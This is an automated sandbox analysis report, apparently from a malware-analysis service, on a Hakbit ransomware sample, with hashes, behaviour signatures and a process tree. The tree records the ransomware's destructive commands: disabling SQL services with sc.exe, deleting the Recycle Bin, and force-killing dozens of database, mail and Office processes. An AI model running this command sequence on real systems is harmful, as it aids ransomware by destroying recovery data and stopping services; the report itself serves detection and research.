Overview
overview
10Static
static
1008751be484...2d.dll
windows10-2004-x64
100a9f79abd4...51.exe
windows10-2004-x64
30di3x.exe
windows10-2004-x64
104a30275f14...ab.dll
windows10-2004-x64
102019-09-02...10.exe
windows10-2004-x64
102c01b00772...eb.exe
windows10-2004-x64
1031.exe
windows10-2004-x64
103DMark 11 ...on.exe
windows10-2004-x64
342f9729255...61.exe
windows10-2004-x64
105da0116af4...18.exe
windows10-2004-x64
10c2716fcc73...86.exe
windows10-2004-x64
1069c56d12ed...6b.exe
windows10-2004-x64
10905d572f23...50.exe
windows10-2004-x64
10948340be97...54.exe
windows10-2004-x64
1095560f1a46...f9.dll
windows10-2004-x64
5Archive.zi...3e.exe
windows10-2004-x64
8DiskIntern...en.exe
windows10-2004-x64
3f28e02bd1e...8a.exe
windows10-2004-x64
10ForceOp 2....ce.exe
windows10-2004-x64
7HYDRA.exe
windows10-2004-x64
10#/power.exe
windows10-2004-x64
#/sant.exe
windows10-2004-x64
#/ufx.exe
windows10-2004-x64
#/va.exe
windows10-2004-x64
KLwC6vii.exe
windows10-2004-x64
1Keygen.exe
windows10-2004-x64
10Lonelyscre...ox.exe
windows10-2004-x64
3LtHv0O2KZDK4M637.exe
windows10-2004-x64
10Magic_File...ja.exe
windows10-2004-x64
3OnlineInstaller.exe
windows10-2004-x64
8REVENGE-RAT.js
windows10-2004-x64
10Remouse.Mi...cg.exe
windows10-2004-x64
3Analysis
-
max time kernel
97s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20250502-en -
resource tags
arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system -
submitted
04/05/2025, 06:14
Static task
static1
Behavioral task
behavioral1
Sample
08751be484e1572995ebb085df1c2c6372084d63a64dce7fab28130d79a6ea2d.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral2
Sample
0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral3
Sample
0di3x.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral4
Sample
4a30275f14f80c6e11d5a253d7d004eda98651010e0aa47f744cf4105d1676ab.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral5
Sample
2019-09-02_22-41-10.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral6
Sample
2c01b007729230c415420ad641ad92eb.exe
Resource
win10v2004-20250314-en
Behavioral task
behavioral7
Sample
31.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral8
Sample
3DMark 11 Advanced Edition.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral9
Sample
42f972925508a82236e8533567487761.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral10
Sample
5da0116af495e6d8af7241da9b8281d918b9ff9a98a3deab4cca1aec1e456c18.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral11
Sample
c2716fcc735a4f1b9fce29cb1dc20a26969b71f615e2b119e9680f015379d286.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral12
Sample
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral13
Sample
905d572f23883f5f161f920e53473989cf7dffc16643aa759f77842e54add550.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral14
Sample
948340be97cc69c2cf8e5c8327ee52a89eeb50095f978696c710ad773a46b654.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral15
Sample
95560f1a465e8ba87a73f8e60a6657545073d55c3b5cfc2ffdaf3d69d46afcf9.dll
Resource
win10v2004-20250502-en
Behavioral task
behavioral16
Sample
Archive.zip__ccacaxs2tbz2t6ob3e.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral17
Sample
DiskInternals_Uneraser_v5_keygen.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral18
Sample
f28e02bd1e9cc701437328dc7bec07b439b5b97277a7983e9ca302fbc550e48a.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral19
Sample
ForceOp 2.8.7 - By RaiSence.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral20
Sample
HYDRA.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral21
Sample
#/power.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral22
Sample
#/sant.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral23
Sample
#/ufx.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral24
Sample
#/va.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral25
Sample
KLwC6vii.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral26
Sample
Keygen.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral27
Sample
Lonelyscreen.1.2.9.keygen.by.Paradox.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral28
Sample
LtHv0O2KZDK4M637.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral29
Sample
Magic_File_v3_keygen_by_KeygenNinja.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral30
Sample
OnlineInstaller.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral31
Sample
REVENGE-RAT.js
Resource
win10v2004-20250502-en
Behavioral task
behavioral32
Sample
Remouse.Micro.Micro.v3.5.3.serial.maker.by.aaocg.exe
Resource
win10v2004-20250502-en
General
-
Target
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe
-
Size
80KB
-
MD5
8152a3d0d76f7e968597f4f834fdfa9d
-
SHA1
c3cf05f3f79851d3c0d4266ab77c8e3e3f88c73e
-
SHA256
69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b
-
SHA512
eb1a18cb03131466a4152fa2f6874b70c760317148684ca9b95044e50dc9cd19316d6e68e680ce18599114ba73e75264de5dab5afe611165b9c6c0b5f01002b4
-
SSDEEP
1536:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/suIicRtpNf8SgRXt+AacRDVX8C4OntD4acN:SHbigeMiIeMfZ7tOBbFv0CIG0dDh/su0
Malware Config
Extracted
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
hakbit
Signatures
-
Disables service(s) 3 TTPs
-
Hakbit
Ransomware which encrypts files using AES, first seen in November 2019.
-
Hakbit family
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3920234085-916416549-2700794571-1000\Control Panel\International\Geo\Nation 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2276 sc.exe 4420 sc.exe 4524 sc.exe 2956 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 412 PING.EXE 7084 cmd.exe -
Kills process with taskkill 47 IoCs
pid Process 1728 taskkill.exe 1424 taskkill.exe 2424 taskkill.exe 4824 taskkill.exe 4288 taskkill.exe 4888 taskkill.exe 1432 taskkill.exe 3460 taskkill.exe 3704 taskkill.exe 3352 taskkill.exe 1824 taskkill.exe 4860 taskkill.exe 392 taskkill.exe 4532 taskkill.exe 4216 taskkill.exe 3232 taskkill.exe 1368 taskkill.exe 4584 taskkill.exe 4800 taskkill.exe 1896 taskkill.exe 1220 taskkill.exe 716 taskkill.exe 2172 taskkill.exe 2280 taskkill.exe 4908 taskkill.exe 3888 taskkill.exe 1836 taskkill.exe 400 taskkill.exe 1328 taskkill.exe 1856 taskkill.exe 3808 taskkill.exe 3676 taskkill.exe 2380 taskkill.exe 828 taskkill.exe 1232 taskkill.exe 5016 taskkill.exe 220 taskkill.exe 2028 taskkill.exe 4124 taskkill.exe 1188 taskkill.exe 1820 taskkill.exe 2776 taskkill.exe 4668 taskkill.exe 2740 taskkill.exe 4576 taskkill.exe 3408 taskkill.exe 4116 taskkill.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 7076 notepad.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 412 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeDebugPrivilege 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe Token: SeDebugPrivilege 4576 taskkill.exe Token: SeDebugPrivilege 3676 taskkill.exe Token: SeDebugPrivilege 716 taskkill.exe Token: SeDebugPrivilege 1424 taskkill.exe Token: SeDebugPrivilege 1368 taskkill.exe Token: SeDebugPrivilege 1820 taskkill.exe Token: SeDebugPrivilege 2424 taskkill.exe Token: SeDebugPrivilege 3704 taskkill.exe Token: SeDebugPrivilege 1896 taskkill.exe Token: SeDebugPrivilege 4908 taskkill.exe Token: SeDebugPrivilege 4888 taskkill.exe Token: SeDebugPrivilege 1220 taskkill.exe Token: SeDebugPrivilege 828 taskkill.exe Token: SeDebugPrivilege 2280 taskkill.exe Token: SeDebugPrivilege 4288 taskkill.exe Token: SeDebugPrivilege 392 taskkill.exe Token: SeDebugPrivilege 1432 taskkill.exe Token: SeDebugPrivilege 4584 taskkill.exe Token: SeDebugPrivilege 1188 taskkill.exe Token: SeDebugPrivilege 3232 taskkill.exe Token: SeDebugPrivilege 3888 taskkill.exe Token: SeDebugPrivilege 4124 taskkill.exe Token: SeDebugPrivilege 3460 taskkill.exe Token: SeDebugPrivilege 4800 taskkill.exe Token: SeDebugPrivilege 3408 taskkill.exe Token: SeDebugPrivilege 2776 taskkill.exe Token: SeDebugPrivilege 4668 taskkill.exe Token: SeDebugPrivilege 1728 taskkill.exe Token: SeDebugPrivilege 4116 taskkill.exe Token: SeDebugPrivilege 2028 taskkill.exe Token: SeDebugPrivilege 3808 taskkill.exe Token: SeDebugPrivilege 2172 taskkill.exe Token: SeDebugPrivilege 3352 taskkill.exe Token: SeDebugPrivilege 4824 taskkill.exe Token: SeDebugPrivilege 4860 taskkill.exe Token: SeDebugPrivilege 1328 taskkill.exe Token: SeDebugPrivilege 400 taskkill.exe Token: SeDebugPrivilege 1836 taskkill.exe Token: SeDebugPrivilege 4216 taskkill.exe Token: SeDebugPrivilege 5016 taskkill.exe Token: SeDebugPrivilege 220 taskkill.exe Token: SeDebugPrivilege 1232 taskkill.exe Token: SeDebugPrivilege 1856 taskkill.exe Token: SeDebugPrivilege 1724 powershell.exe Token: SeDebugPrivilege 1824 taskkill.exe Token: SeDebugPrivilege 2740 taskkill.exe Token: SeDebugPrivilege 4532 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5112 wrote to memory of 2276 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 87 PID 5112 wrote to memory of 2276 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 87 PID 5112 wrote to memory of 2956 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 88 PID 5112 wrote to memory of 2956 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 88 PID 5112 wrote to memory of 4416 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 89 PID 5112 wrote to memory of 4416 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 89 PID 5112 wrote to memory of 4420 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 91 PID 5112 wrote to memory of 4420 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 91 PID 5112 wrote to memory of 4524 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 94 PID 5112 wrote to memory of 4524 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 94 PID 5112 wrote to memory of 3676 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 97 PID 5112 wrote to memory of 3676 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 97 PID 5112 wrote to memory of 716 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 98 PID 5112 wrote to memory of 716 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 98 PID 5112 wrote to memory of 1820 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 99 PID 5112 wrote to memory of 1820 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 99 PID 5112 wrote to memory of 1188 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 100 PID 5112 wrote to memory of 1188 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 100 PID 5112 wrote to memory of 4576 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 101 PID 5112 wrote to memory of 4576 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 101 PID 5112 wrote to memory of 4668 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 104 PID 5112 wrote to memory of 4668 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 104 PID 5112 wrote to memory of 3232 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 105 PID 5112 wrote to memory of 3232 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 105 PID 5112 wrote to memory of 4888 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 111 PID 5112 wrote to memory of 4888 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 111 PID 5112 wrote to memory of 3704 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 112 PID 5112 wrote to memory of 3704 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 112 PID 5112 wrote to memory of 1220 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 113 PID 5112 wrote to memory of 1220 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 113 PID 5112 wrote to memory of 2424 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 114 PID 5112 wrote to memory of 2424 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 114 PID 5112 wrote to memory of 1896 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 115 PID 5112 wrote to memory of 1896 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 115 PID 5112 wrote to memory of 4288 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 116 PID 5112 wrote to memory of 4288 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 116 PID 5112 wrote to memory of 1424 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 117 PID 5112 wrote to memory of 1424 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 117 PID 5112 wrote to memory of 1728 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 118 PID 5112 wrote to memory of 1728 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 118 PID 5112 wrote to memory of 828 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 119 PID 5112 wrote to memory of 828 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 119 PID 5112 wrote to memory of 3460 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 120 PID 5112 wrote to memory of 3460 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 120 PID 5112 wrote to memory of 4800 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 121 PID 5112 wrote to memory of 4800 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 121 PID 5112 wrote to memory of 3888 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 122 PID 5112 wrote to memory of 3888 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 122 PID 5112 wrote to memory of 4908 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 123 PID 5112 wrote to memory of 4908 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 123 PID 5112 wrote to memory of 2380 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 124 PID 5112 wrote to memory of 2380 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 124 PID 5112 wrote to memory of 2280 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 125 PID 5112 wrote to memory of 2280 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 125 PID 5112 wrote to memory of 4584 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 127 PID 5112 wrote to memory of 4584 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 127 PID 5112 wrote to memory of 392 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 129 PID 5112 wrote to memory of 392 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 129 PID 5112 wrote to memory of 2776 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 130 PID 5112 wrote to memory of 2776 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 130 PID 5112 wrote to memory of 4116 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 131 PID 5112 wrote to memory of 4116 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 131 PID 5112 wrote to memory of 1432 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 144 PID 5112 wrote to memory of 1432 5112 69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe 144
Processes
-
C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"C:\Users\Admin\AppData\Local\Temp\69c56d12ed7024696936fb69b4c6bee58174a275cb53fa966646a0b092d9626b.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
PID:2276
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
PID:2956
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:4416
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
PID:4420
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
PID:4524
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3676
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:716
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1820
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1188
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4576
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4668
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3232
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4888
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3704
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1220
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2424
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1896
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4288
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1424
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1728
-
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:828
-
-
